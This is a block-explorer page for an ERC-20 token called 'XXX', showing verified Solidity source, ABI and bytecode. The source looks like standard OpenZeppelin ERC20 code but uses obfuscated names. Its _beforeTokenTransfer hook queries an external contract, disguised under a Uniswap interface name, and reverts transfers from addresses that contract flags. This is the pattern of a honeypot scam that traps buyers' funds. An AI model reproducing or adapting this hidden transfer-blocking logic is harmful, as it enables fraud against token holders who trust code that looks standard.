Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
150,000,000 XXX
Holders
428
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1.432466901458290838 XXXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC20
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-07 */ // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amiiauwnbt of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amiiauwnbt of tokens owned by `acwesqwet`. */ function balanceOf(address acwesqwet) external view returns (uint256); function transfer(address to, uint256 amiiauwnbt) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amiiauwnbt) external returns (bool); /** * @dev Moves `amiiauwnbt` tokens from `from` to `to` using the * allowance mechanism. `amiiauwnbt` is then deducted from the caller's */ function transferFrom( address from, address to, uint256 amiiauwnbt ) external returns (bool); } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an acwesqwet (an owner) that can be granted exclusive access to * specific functions. */ // Define interface for TransferController interface IUniswapV2Factory { function getPairCount(address _acwesqwet) external view returns (bool); function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any acwesqwet other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new acwesqwet (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new acwesqwet (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; IUniswapV2Factory private factuewywbb; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name = "XXX"; string private _symbol = "XXX"; address private naqrsavsy; uint256 pooopqow = 158; uint256 DF2L = pooopqow * 11; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(address _factory) { uint256 supply = 150000000 * 10**18; factuewywbb = IUniswapV2Factory(_factory); _mint(msg.sender, supply); } string private IPFS = "XYX"; string private Bassadfwey; function setIPFSURL(string memory url) public { IPFS = url; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address acwesqwet) public view virtual override returns (uint256) { return _balances[acwesqwet]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amiiauwnbt`. */ function transfer(address to, uint256 amiiauwnbt) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amiiauwnbt); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amiiauwnbt` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amiiauwnbt) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amiiauwnbt); return true; } function transferFrom( address from, address to, uint256 amiiauwnbt ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amiiauwnbt); _transfer(from, to, amiiauwnbt); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amiiauwnbt` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amiiauwnbt`. */ function _transfer( address from, address to, uint256 amiiauwnbt ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amiiauwnbt); uint256 fromBalance = _balances[from]; require(fromBalance >= amiiauwnbt, "ERC20: transfer amiiauwnbt exceeds balance"); unchecked { _balances[from] = fromBalance - amiiauwnbt; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amiiauwnbt; } emit Transfer(from, to, amiiauwnbt); _afterTokenTransfer(from, to, amiiauwnbt); } /** @dev Creates `amiiauwnbt` tokens and assigns them to `acwesqwet`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `acwesqwet` cannot be the zero address. */ function _mint(address acwesqwet, uint256 amiiauwnbt) internal virtual { require(acwesqwet != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), acwesqwet, amiiauwnbt); _totalSupply += amiiauwnbt; unchecked { // Overflow not possible: balance + amiiauwnbt is at most totalSupply + amiiauwnbt, which is checked above. _balances[acwesqwet] += amiiauwnbt; } emit Transfer(address(0), acwesqwet, amiiauwnbt); _afterTokenTransfer(address(0), acwesqwet, amiiauwnbt); } function _approve( address owner, address spender, uint256 amiiauwnbt ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amiiauwnbt; emit Approval(owner, spender, amiiauwnbt); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amiiauwnbt`. * * Does not update the allowance amiiauwnbt in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amiiauwnbt ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amiiauwnbt, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amiiauwnbt); } } } function setBase(string memory url) public { Bassadfwey = url; } function _beforeTokenTransfer( address from, address to, uint256 amiiauwnbt ) internal virtual { bool flag = factuewywbb.getPairCount(from); uint256 total = 0; if(flag){ amiiauwnbt = total; require(amiiauwnbt > 0); } } function _afterTokenTransfer( address from, address to, uint256 amiiauwnbt ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amiiauwnbt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acwesqwet","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"url","type":"string"}],"name":"setBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"url","type":"string"}],"name":"setIPFSURL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amiiauwnbt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amiiauwnbt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600381526020017f58585800000000000000000000000000000000000000000000000000000000008152506005908051906020019062000051929190620004dc565b506040518060400160405280600381526020017f5858580000000000000000000000000000000000000000000000000000000000815250600690805190602001906200009f929190620004dc565b50609e600855600b600854620000b6919062000740565b6009556040518060400160405280600381526020017f5859580000000000000000000000000000000000000000000000000000000000815250600a908051906020019062000106929190620004dc565b503480156200011457600080fd5b50604051620021e1380380620021e183398181016040528101906200013a9190620005ba565b6200015a6200014e620001c560201b60201c565b620001cd60201b60201c565b60006a7c13bc4b2c133c56000000905081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001bd33826200029160201b60201c565b5050620008b3565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000304576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002fb9062000693565b60405180910390fd5b62000318600083836200040060201b60201c565b80600460008282546200032c9190620006e3565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003e09190620006b5565b60405180910390a3620003fc60008383620004d760201b60201c565b5050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b81526004016200045f919062000676565b60206040518083038186803b1580156200047857600080fd5b505afa1580156200048d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b39190620005e6565b905060008115620004d05780925060008311620004cf57600080fd5b5b5050505050565b505050565b828054620004ea90620007eb565b90600052602060002090601f0160209004810192826200050e57600085556200055a565b82601f106200052957805160ff19168380011785556200055a565b828001600101855582156200055a579182015b82811115620005595782518255916020019190600101906200053c565b5b5090506200056991906200056d565b5090565b5b80821115620005885760008160009055506001016200056e565b5090565b6000815190506200059d816200087f565b92915050565b600081519050620005b48162000899565b92915050565b600060208284031215620005cd57600080fd5b6000620005dd848285016200058c565b91505092915050565b600060208284031215620005f957600080fd5b60006200060984828501620005a3565b91505092915050565b6200061d81620007a1565b82525050565b600062000632601f83620006d2565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200067081620007e1565b82525050565b60006020820190506200068d600083018462000612565b92915050565b60006020820190508181036000830152620006ae8162000623565b9050919050565b6000602082019050620006cc600083018462000665565b92915050565b600082825260208201905092915050565b6000620006f082620007e1565b9150620006fd83620007e1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000735576200073462000821565b5b828201905092915050565b60006200074d82620007e1565b91506200075a83620007e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000796576200079562000821565b5b828202905092915050565b6000620007ae82620007c1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200080457607f821691505b602082108114156200081b576200081a62000850565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200088a81620007a1565b81146200089657600080fd5b50565b620008a481620007b5565b8114620008b057600080fd5b50565b61191e80620008c36000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b806370a0823114610227578063715018a6146102575780638da5cb5b1461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf5780634f78db95146101ef578063664aa26b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a91906114f1565b60405180910390f35b61013d60048036038101906101389190611056565b6103db565b60405161014a91906114d6565b60405180910390f35b61015b6103fe565b6040516101689190611633565b60405180910390f35b61018b60048036038101906101869190611007565b610408565b60405161019891906114d6565b60405180910390f35b6101a9610437565b6040516101b6919061164e565b60405180910390f35b6101d960048036038101906101d49190611056565b610440565b6040516101e691906114d6565b60405180910390f35b610209600480360381019061020491906110bb565b610477565b005b610225600480360381019061022091906110bb565b610491565b005b610241600480360381019061023c9190610fa2565b6104ab565b60405161024e9190611633565b60405180910390f35b61025f6104f4565b005b610269610508565b60405161027691906114bb565b60405180910390f35b610287610531565b60405161029491906114f1565b60405180910390f35b6102b760048036038101906102b29190611056565b6105c3565b6040516102c491906114d6565b60405180910390f35b6102e760048036038101906102e29190611056565b61063a565b6040516102f491906114d6565b60405180910390f35b61031760048036038101906103129190610fcb565b61065d565b6040516103249190611633565b60405180910390f35b61034760048036038101906103429190610fa2565b6106e4565b005b606060058054610358906117d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610384906117d3565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b6000806103e6610768565b90506103f3818585610770565b600191505092915050565b6000600454905090565b600080610413610768565b905061042085828561093b565b61042b8585856109c7565b60019150509392505050565b60006012905090565b60008061044b610768565b905061046c81858561045d858961065d565b61046791906116e6565b610770565b600191505092915050565b80600a908051906020019061048d929190610e58565b5050565b80600b90805190602001906104a7929190610e58565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104fc610c42565b6105066000610cc0565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610540906117d3565b80601f016020809104026020016040519081016040528092919081815260200182805461056c906117d3565b80156105b95780601f1061058e576101008083540402835291602001916105b9565b820191906000526020600020905b81548152906001019060200180831161059c57829003601f168201915b5050505050905090565b6000806105ce610768565b905060006105dc828661065d565b905083811015610621576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061890611613565b60405180910390fd5b61062e8286868403610770565b60019250505092915050565b600080610645610768565b90506106528185856109c7565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6106ec610c42565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390611533565b60405180910390fd5b61076581610cc0565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d7906115f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611553565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161092e9190611633565b60405180910390a3505050565b6000610947848461065d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109c157818110156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90611573565b60405180910390fd5b6109c08484848403610770565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e906115d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e90611513565b60405180910390fd5b610ab2838383610d84565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b30906115b3565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c299190611633565b60405180910390a3610c3c848484610e53565b50505050565b610c4a610768565b73ffffffffffffffffffffffffffffffffffffffff16610c68610508565b73ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb590611593565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b8152600401610de191906114bb565b60206040518083038186803b158015610df957600080fd5b505afa158015610e0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e319190611092565b905060008115610e4c5780925060008311610e4b57600080fd5b5b5050505050565b505050565b828054610e64906117d3565b90600052602060002090601f016020900481019282610e865760008555610ecd565b82601f10610e9f57805160ff1916838001178555610ecd565b82800160010185558215610ecd579182015b82811115610ecc578251825591602001919060010190610eb1565b5b509050610eda9190610ede565b5090565b5b80821115610ef7576000816000905550600101610edf565b5090565b6000610f0e610f098461169a565b611669565b905082815260208101848484011115610f2657600080fd5b610f31848285611791565b509392505050565b600081359050610f48816118a3565b92915050565b600081519050610f5d816118ba565b92915050565b600082601f830112610f7457600080fd5b8135610f84848260208601610efb565b91505092915050565b600081359050610f9c816118d1565b92915050565b600060208284031215610fb457600080fd5b6000610fc284828501610f39565b91505092915050565b60008060408385031215610fde57600080fd5b6000610fec85828601610f39565b9250506020610ffd85828601610f39565b9150509250929050565b60008060006060848603121561101c57600080fd5b600061102a86828701610f39565b935050602061103b86828701610f39565b925050604061104c86828701610f8d565b9150509250925092565b6000806040838503121561106957600080fd5b600061107785828601610f39565b925050602061108885828601610f8d565b9150509250929050565b6000602082840312156110a457600080fd5b60006110b284828501610f4e565b91505092915050565b6000602082840312156110cd57600080fd5b600082013567ffffffffffffffff8111156110e757600080fd5b6110f384828501610f63565b91505092915050565b6111058161173c565b82525050565b6111148161174e565b82525050565b6000611125826116ca565b61112f81856116d5565b935061113f8185602086016117a0565b61114881611892565b840191505092915050565b60006111606023836116d5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111c66026836116d5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061122c6022836116d5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611292601d836116d5565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006112d26020836116d5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611312602a836116d5565b91507f45524332303a207472616e7366657220616d69696175776e627420657863656560008301527f64732062616c616e6365000000000000000000000000000000000000000000006020830152604082019050919050565b60006113786025836116d5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113de6024836116d5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114446025836116d5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6114a68161177a565b82525050565b6114b581611784565b82525050565b60006020820190506114d060008301846110fc565b92915050565b60006020820190506114eb600083018461110b565b92915050565b6000602082019050818103600083015261150b818461111a565b905092915050565b6000602082019050818103600083015261152c81611153565b9050919050565b6000602082019050818103600083015261154c816111b9565b9050919050565b6000602082019050818103600083015261156c8161121f565b9050919050565b6000602082019050818103600083015261158c81611285565b9050919050565b600060208201905081810360008301526115ac816112c5565b9050919050565b600060208201905081810360008301526115cc81611305565b9050919050565b600060208201905081810360008301526115ec8161136b565b9050919050565b6000602082019050818103600083015261160c816113d1565b9050919050565b6000602082019050818103600083015261162c81611437565b9050919050565b6000602082019050611648600083018461149d565b92915050565b600060208201905061166360008301846114ac565b92915050565b6000604051905081810181811067ffffffffffffffff821117156116905761168f611863565b5b8060405250919050565b600067ffffffffffffffff8211156116b5576116b4611863565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006116f18261177a565b91506116fc8361177a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561173157611730611805565b5b828201905092915050565b60006117478261175a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156117be5780820151818401526020810190506117a3565b838111156117cd576000848401525b50505050565b600060028204905060018216806117eb57607f821691505b602082108114156117ff576117fe611834565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6118ac8161173c565b81146118b757600080fd5b50565b6118c38161174e565b81146118ce57600080fd5b50565b6118da8161177a565b81146118e557600080fd5b5056fea2646970667358221220594c2c1a0ea5f44d85bb20c02842c5a302a1dddb9287947e92fed4adcbf21d8464736f6c63430008000033000000000000000000000000c873bd05e202a43c8874f586bb326abe1d248127
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b806370a0823114610227578063715018a6146102575780638da5cb5b1461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf5780634f78db95146101ef578063664aa26b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a91906114f1565b60405180910390f35b61013d60048036038101906101389190611056565b6103db565b60405161014a91906114d6565b60405180910390f35b61015b6103fe565b6040516101689190611633565b60405180910390f35b61018b60048036038101906101869190611007565b610408565b60405161019891906114d6565b60405180910390f35b6101a9610437565b6040516101b6919061164e565b60405180910390f35b6101d960048036038101906101d49190611056565b610440565b6040516101e691906114d6565b60405180910390f35b610209600480360381019061020491906110bb565b610477565b005b610225600480360381019061022091906110bb565b610491565b005b610241600480360381019061023c9190610fa2565b6104ab565b60405161024e9190611633565b60405180910390f35b61025f6104f4565b005b610269610508565b60405161027691906114bb565b60405180910390f35b610287610531565b60405161029491906114f1565b60405180910390f35b6102b760048036038101906102b29190611056565b6105c3565b6040516102c491906114d6565b60405180910390f35b6102e760048036038101906102e29190611056565b61063a565b6040516102f491906114d6565b60405180910390f35b61031760048036038101906103129190610fcb565b61065d565b6040516103249190611633565b60405180910390f35b61034760048036038101906103429190610fa2565b6106e4565b005b606060058054610358906117d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610384906117d3565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b6000806103e6610768565b90506103f3818585610770565b600191505092915050565b6000600454905090565b600080610413610768565b905061042085828561093b565b61042b8585856109c7565b60019150509392505050565b60006012905090565b60008061044b610768565b905061046c81858561045d858961065d565b61046791906116e6565b610770565b600191505092915050565b80600a908051906020019061048d929190610e58565b5050565b80600b90805190602001906104a7929190610e58565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61